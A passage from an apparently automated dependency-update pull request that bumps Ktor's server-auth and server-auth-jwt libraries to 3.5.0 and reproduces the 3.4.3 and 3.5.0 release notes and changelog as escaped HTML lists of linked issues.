according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/ktorio/ktor/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-auth` from 3.4.2 to 3.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-auth's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-auth's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.5.0\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/ktorio/ktor/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-auth-jwt` from 3.4.2 to 3.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-auth-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-auth-jwt's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.5.0\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path 